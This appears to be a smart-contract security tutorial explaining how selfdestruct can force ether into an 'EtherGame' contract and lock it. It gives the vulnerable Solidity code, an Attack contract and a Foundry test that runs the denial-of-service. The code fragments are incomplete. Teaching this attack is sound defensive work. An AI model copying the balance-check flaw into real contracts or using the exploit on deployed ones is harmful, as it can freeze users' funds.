Selfdestruct 1

Ether game DoS
  • Due to missing or insufficient access controls, malicious parties can self-destruct the contract.
  • The selfdestruct(address) function removes all bytecode from the contract address and sends all ether stored to the specified address.

Code Audit

1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
No one can become the winner.
What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
contract EtherGame {
uint constant public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
The deposit() function is vulnerable:
uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over"); // targetAmount == 7 ether
Note that deposit() is not the only way to feed ethers into this contract: we can send unlimited ethers via selfdestruct(). If alice deposits 1 ether bob deposits 1 ether and we selfdestruct() 5 ethers, then no one in the future can deposit() anything into this challenge.


Implement the contract waiting for selfdestruct():
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
function dos() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
This contract will deploy the EtherGame contract as well. Implement exploit:
console.log("Alice deposit 1 Ether...");
EtherGameContract.deposit{value: 1 ether}();
console.log("Eve deposit 1 Ether...");
EtherGameContract.deposit{value: 1 ether}();
console.log("Balance of EtherGameContract", address(EtherGameContract).balance);
AttackerContract = new Attack(EtherGameContract);
AttackerContract.dos{value: 5 ether}();
Run test:
forge test --contracts ./src/test/Selfdestruct.sol -vvvv